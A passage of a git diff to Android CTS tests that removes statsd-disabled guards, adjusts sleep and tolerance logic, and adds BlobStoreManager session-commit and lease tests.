         // Add AtomMatchers.
         AtomMatcher startAtomMatcherA =
             MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
index 16c3baf..2280e13 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
@@ -47,9 +47,6 @@
   private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
 
   public void testGaugeMetric() throws Exception {
-      if (statsdDisabled()) {
-        return;
-      }
       // Add AtomMatcher's.
       AtomMatcher startAtomMatcher =
           MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -149,9 +146,6 @@
   }
 
   public void testPulledGaugeMetricWithActivation() throws Exception {
-      if (statsdDisabled()) {
-        return;
-      }
       // Add AtomMatcher's.
       int activationAtomMatcherId = 1;
       int activationAtomMatcherLabel = 1;
@@ -202,10 +196,6 @@
   }
 
     public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index b976678..59e455b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -154,10 +154,6 @@
      * Metric 3: No activations; always active
      **/
     public void testCancellation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 5;
         final int act2TtlSecs = 8;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -255,10 +251,6 @@
      * Metric 3: No activations; always active
      **/
     public void testRestart() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 100;
         final int act2TtlSecs = 200;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -411,10 +403,6 @@
      * Metric 3: No activations; always active
      **/
     public void testMultipleActivations() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 100;
         final int act2TtlSecs = 200;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
index 475feda..0cf5bbb 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
@@ -49,9 +49,6 @@
   private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
 
   public void testValueMetric() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     AtomMatcher startAtomMatcher =
         MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -115,9 +112,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testPullerAcrossBuckets() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
     final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -195,9 +189,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testMultipleEventsPerBucket() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
     final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -279,10 +270,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testPullerAcrossBucketsWithActivation() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
-
     StatsdConfig.Builder builder = createConfigBuilder();
 
     // Add AtomMatcher's.
@@ -340,10 +327,6 @@
   }
 
     public void testValueMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index dab7f0f..8554de3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -33,9 +33,6 @@
 
     // Tests that every report has at least one snapshot.
     public void testUidSnapshotIncluded() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // There should be at least the test app installed during the test setup.
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
 
@@ -67,9 +64,6 @@
 
     // Tests that delta event included during app installation.
     public void testChangeFromInstallation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
         // Install the package after the config is sent to statsd. The uid map is not guaranteed to
@@ -96,9 +90,6 @@
 
     // We check that a re-installation gives a change event (similar to an app upgrade).
     public void testChangeFromReinstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
@@ -122,9 +113,6 @@
     }
 
     public void testChangeFromUninstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 95dbaa6..125a32a 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -82,14 +82,11 @@
     */
 
     public void testPowerUse() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
         resetBatteryStats();
         unplugDevice();
 
-        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.8; // ratio that statsd and bs can differ
+        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
 
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index bd14fa4..5b42aa9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -44,33 +44,30 @@
     private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
 
     public void testProcessStatePssValue() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
         StatsdConfig config = createValidationUtil().getConfig(fileName);
         LogUtil.CLog.d("Updating the following config:\n" + config.toString());
         uploadConfig(config);
         clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
+        toggleScreenAndSleep(WAIT_TIME_SHORT);
 
         // foreground service
         executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
         // background
         executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
         // top
         executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
         // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
         executeBackgroundService(ACTION_END_IMMEDIATELY);
         final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
+        toggleScreenAndSleep(cacheTime);
         // foreground
         // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
         executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
+        toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
 
         // Sorted list of events in order in which they occurred.
         List<ValueMetricData> statsdData = getValueMetricDataList();
@@ -105,10 +102,15 @@
         assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
     }
 
+    private void toggleScreenAndSleep(final long duration) throws Exception {
+        final long half = duration >> 1;
+        Thread.sleep(half);
+        turnScreenOff();
+        Thread.sleep(half);
+        turnScreenOn();
+    }
+
     public void testProcessStateByPulling() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         startProcStatsTesting();
         clearProcStats();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -195,9 +197,6 @@
          * Temporarily disable this test as the proc stats data being pulled into the statsd
          * doesn't include the pkg part now.
          *
-        if (statsdDisabled()) {
-            return;
-        }
         startProcStatsTesting();
         clearProcStats();
         Thread.sleep(WAIT_TIME_SHORT);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index f72a7a5..87f6840 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -79,9 +79,6 @@
     }
 
     public void testPartialWakelock() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         resetBatteryStats();
         unplugDevice();
@@ -140,9 +137,6 @@
 
     @RestrictedBuildTest
     public void testPartialWakelockDuration() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
 
         // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
@@ -211,9 +205,6 @@
     }
 
     public void testPartialWakelockLoad() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!ENABLE_LOAD_TEST) return;
         turnScreenOn(); // To ensure that the ScreenOff later gets logged.
         uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
index c42faa2..674226c 100644
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -37,12 +37,14 @@
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
 
+@Ignore
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
     private static final String SHELL_AM_START_FG_SERVICE =
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index 7fac92e..294ec00 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -27,11 +27,11 @@
     protected boolean supportsTaggedPointers = false;
 
     private boolean supportsTaggedPointers() throws Exception {
-        if (runCommand("grep 'Processor.*aarch64' /proc/cpuinfo").isEmpty()) {
+        String kernelVersion = runCommand("uname -rm");
+        if (!kernelVersion.contains("aarch64")) {
             return false;
         }
 
-        String kernelVersion = runCommand("uname -r");
         String kernelVersionSplit[] = kernelVersion.split("\\.");
         if (kernelVersionSplit.length < 2) {
             return false;
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index bf7aa1e..cb77517 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -81,21 +81,33 @@
         mGetResourceStream = (res) -> TestApp.class.getClassLoader().getResourceAsStream(res);
     }
 
-    public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+    public TestApp(String name, String packageName, long versionCode, boolean isApex,
+            File[] paths) {
         mName = name;
         mPackageName = packageName;
         mVersionCode = versionCode;
-        mResourceNames = new String[] { path.getName() };
+        mResourceNames = new String[paths.length];
+        for (int i = 0; i < paths.length; ++i) {
+            mResourceNames[i] = paths[i].getName();
+        }
         mIsApex = isApex;
         mGetResourceStream = (res) -> {
             try {
-                return new FileInputStream(path);
-            } catch (FileNotFoundException e) {
-                return null;
+                for (int i = 0; i < paths.length; ++i) {
+                    if (paths[i].getName().equals(res)) {
+                        return new FileInputStream(paths[i]);
+                    }
+                }
+            } catch (FileNotFoundException ignore) {
             }
+            return null;
         };
     }
 
+    public TestApp(String name, String packageName, long versionCode, boolean isApex, File path) {
+        this(name, packageName, versionCode, isApex, new File[]{ path });
+    }
+
     public String getPackageName() {
         return mPackageName;
     }
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index 4a3570b..bb86844 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -62,10 +62,17 @@
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
+import java.io.OutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Map;
 import java.util.Objects;
+import java.util.Random;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -81,16 +88,24 @@
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
+    private static final long TIMEOUT_WAIT_FOR_IDLE_MS = 2_000;
+
     // TODO: Make it a @TestApi or move the test using this to a different location.
     // Copy of DeviceConfig.NAMESPACE_BLOBSTORE constant
     private static final String NAMESPACE_BLOBSTORE = "blobstore";
     private static final String KEY_SESSION_EXPIRY_TIMEOUT_MS = "session_expiry_timeout_ms";
     private static final String KEY_LEASE_ACQUISITION_WAIT_DURATION_MS =
             "lease_acquisition_wait_time_ms";
+    private static final String KEY_DELETE_ON_LAST_LEASE_DELAY_MS =
+            "delete_on_last_lease_delay_ms";
     private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
             "total_bytes_per_app_limit_floor";
-    public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+    private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
             "total_bytes_per_app_limit_fraction";
+    private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+    private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+    private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+    private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
 
     private static final String HELPER_PKG = "com.android.cts.blob.helper";
     private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -117,9 +132,9 @@
 
     @After
     public void tearDown() throws Exception {
-        for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
-            mBlobStoreManager.releaseLease(blobHandle);
-        }
+        runShellCmd("cmd blob_store clear-all-sessions");
+        runShellCmd("cmd blob_store clear-all-blobs");
+        mContext.getFilesDir().delete();
     }
 
     @Test
@@ -202,9 +217,15 @@
                 blobData.readFromSessionAndVerifyBytes(session,
                         101 /* offset */, 1001 /* length */);
 
-                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */);
+                blobData.writeToSession(session, 202 /* offset */, 2002 /* length */,
+                        blobData.getFileSize());
                 blobData.readFromSessionAndVerifyBytes(session,
                         202 /* offset */, 2002 /* length */);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(0);
             }
         } finally {
             blobData.delete();
@@ -592,6 +613,228 @@
     }
 
     @Test
+    public void testSessionCommit_incompleteData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize() - 2);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testSessionCommit_incorrectData() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session, 0, blobData.getFileSize());
+                try (OutputStream out = new ParcelFileDescriptor.AutoCloseOutputStream(
+                        session.openWrite(0, blobData.getFileSize()))) {
+                    out.write("wrong_data".getBytes(StandardCharsets.UTF_8));
+                }
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                        .isEqualTo(1);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testRecommitBlob() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        try {
+            commitBlob(blobData);
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+
+            commitBlob(blobData);
+            // Verify that blob can be accessed after re-committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testRecommitBlob_fromMultiplePackages() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+        final TestServiceConnection connection = bindToHelperService(HELPER_PKG);
+        try {
+            commitBlob(blobData);
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+
+            commitBlobFromPkg(blobData, connection);
+            // Verify that blob can be accessed after re-committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+            assertPkgCanAccess(blobData, connection);
+        } finally {
+            blobData.delete();
+            connection.unbind();
+        }
+    }
+
+    @Test
+    public void testSessionCommit_largeBlob() throws Exception {
+        final long fileSizeBytes = Math.min(mBlobStoreManager.getRemainingLeaseQuotaBytes(),
+                150 * 1024L * 1024L);
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(fileSizeBytes)
+                .build();
+        blobData.prepare();
+        final long commitTimeoutSec = TIMEOUT_COMMIT_CALLBACK_SEC * 2;
+        try {
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                session.commit(mContext.getMainExecutor(), callback::complete);
+                assertThat(callback.get(commitTimeoutSec, TimeUnit.SECONDS))
+                        .isEqualTo(0);
+            }
+
+            // Verify that blob can be accessed after committing.
+            try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+                assertThat(pfd).isNotNull();
+                blobData.verifyBlob(pfd);
+            }
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testCommitSession_multipleWrites() throws Exception {
+        final int numThreads = 2;
+        final Random random = new Random(0);
+        final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+        final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+        for (int i = 0; i < numThreads; ++i) {
+            completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+                final int minSizeMb = 30;
+                final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                        .setFileSize(fileSizeBytes)
+                        .build();
+                try {
+                    blobData.prepare();
+                    commitAndVerifyBlob(blobData);
+                } catch (Throwable t) {
+                    return t;
+                } finally {
+                    blobData.delete();
+                }
+                return null;
+            }, executorService);
+        }
+        final ArrayList<Throwable> invalidResults = new ArrayList<>();
+        for (int i = 0; i < numThreads; ++i) {
+             final Throwable result = completableFutures[i].get();
+             if (result != null) {
+                 invalidResults.add(result);
+             }
+        }
+        assertThat(invalidResults).isEmpty();
+    }
+
+    @Test
+    public void testCommitSession_multipleReadWrites() throws Exception {
+        final int numThreads = 2;
+        final Random random = new Random(0);
+        final ExecutorService executorService = Executors.newFixedThreadPool(numThreads);
+        final CompletableFuture<Throwable>[] completableFutures = new CompletableFuture[numThreads];
+        for (int i = 0; i < numThreads; ++i) {
+            completableFutures[i] = CompletableFuture.supplyAsync(() -> {
+                final int minSizeMb = 30;
+                final long fileSizeBytes = (minSizeMb + random.nextInt(minSizeMb)) * 1024L * 1024L;
+                final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                        .setFileSize(fileSizeBytes)
+                        .build();
+                try {
+                    blobData.prepare();
+                    final long sessionId = mBlobStoreManager.createSession(
+                            blobData.getBlobHandle());
+                    assertThat(sessionId).isGreaterThan(0L);
+                    try (BlobStoreManager.Session session = mBlobStoreManager.openSession(
+                            sessionId)) {
+                        final long partialFileSizeBytes = minSizeMb * 1024L * 1024L;
+                        blobData.writeToSession(session, 0L, partialFileSizeBytes,
+                                blobData.getFileSize());
+                        blobData.readFromSessionAndVerifyBytes(session, 0L,
+                                (int) partialFileSizeBytes);
+                        blobData.writeToSession(session, partialFileSizeBytes,
+                                blobData.getFileSize() - partialFileSizeBytes,
+                                blobData.getFileSize());
+                        blobData.readFromSessionAndVerifyBytes(session, partialFileSizeBytes,
+                                (int) (blobData.getFileSize() - partialFileSizeBytes));
+
+                        final CompletableFuture<Integer> callback = new CompletableFuture<>();
+                        session.commit(mContext.getMainExecutor(), callback::complete);
+                        assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
+                                .isEqualTo(0);
+                    }
+
+                    // Verify that blob can be accessed after committing.
+                    try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(
+                            blobData.getBlobHandle())) {
+                        assertThat(pfd).isNotNull();
+                        blobData.verifyBlob(pfd);
+                    }
+                } catch (Throwable t) {
+                    return t;
+                } finally {
+                    blobData.delete();
+                }
+                return null;
+            }, executorService);
+        }
+        final ArrayList<Throwable> invalidResults = new ArrayList<>();
+        for (int i = 0; i < numThreads; ++i) {
+            final Throwable result = completableFutures[i].get();
+            if (result != null) {
+                invalidResults.add(result);
+            }
+        }
+        assertThat(invalidResults).isEmpty();
+    }
+
+    @Test
     public void testOpenBlob() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -602,7 +845,7 @@
             try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
                 blobData.writeToSession(session);
 
-                // Verify that trying to access the blob before commit throws
+                // Verify that trying to accessed the blob before commit throws
                 assertThrows(SecurityException.class,
                         () -> mBlobStoreManager.openBlob(blobData.getBlobHandle()));
 
@@ -612,7 +855,7 @@
                         .isEqualTo(0);
             }
 
-            // Verify that blob can be access after committing.
+            // Verify that blob can be accessed after committing.
             try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
                 assertThat(pfd).isNotNull();
 
@@ -697,11 +940,30 @@
     }
 
     @Test
-    public void testAcquireRelease_deleteImmediately() throws Exception {
+    public void testAcquireLease_leaseExpired() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        try {
+            commitBlob(blobData);
+
+            acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+            assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+            waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+            assertNoLeasedBlobs(mBlobStoreManager);
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
             try {
                 commitBlob(blobData);
 
@@ -714,6 +976,10 @@
                 releaseLease(mContext, blobData.getBlobHandle());
                 assertNoLeasedBlobs(mBlobStoreManager);
 
+                SystemClock.sleep(waitDurationMs);
+                SystemUtil.runWithShellPermissionIdentity(() ->
+                        mBlobStoreManager.waitForIdle(TIMEOUT_WAIT_FOR_IDLE_MS));
+
                 assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
                         blobData.getBlobHandle(), R.string.test_desc,
                         blobData.getExpiryTimeMillis()));
@@ -721,7 +987,8 @@
             } finally {
                 blobData.delete();
             }
-        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)));
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS, String.valueOf(waitDurationMs)),
+                Pair.create(KEY_DELETE_ON_LAST_LEASE_DELAY_MS, String.valueOf(waitDurationMs)));
     }
 
     @Test
@@ -763,7 +1030,7 @@
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, partialFileSize);
         }
 
         StorageStats afterStatsForPkg = storageStatsManager
@@ -780,7 +1047,8 @@
         // Complete writing data.
         final long totalFileSize = blobData.getFileSize();
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize);
+            blobData.writeToSession(session, partialFileSize, totalFileSize - partialFileSize,
+                    totalFileSize);
         }
 
         afterStatsForPkg = storageStatsManager
@@ -796,7 +1064,8 @@
 
         // Commit the session.
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, partialFileSize, session.getSize() - partialFileSize);
+            blobData.writeToSession(session, partialFileSize,
+                    session.getSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -915,6 +1184,64 @@
     }
 
     @Test
+    public void testStorageAttribution_withExpiredLease() throws Exception {
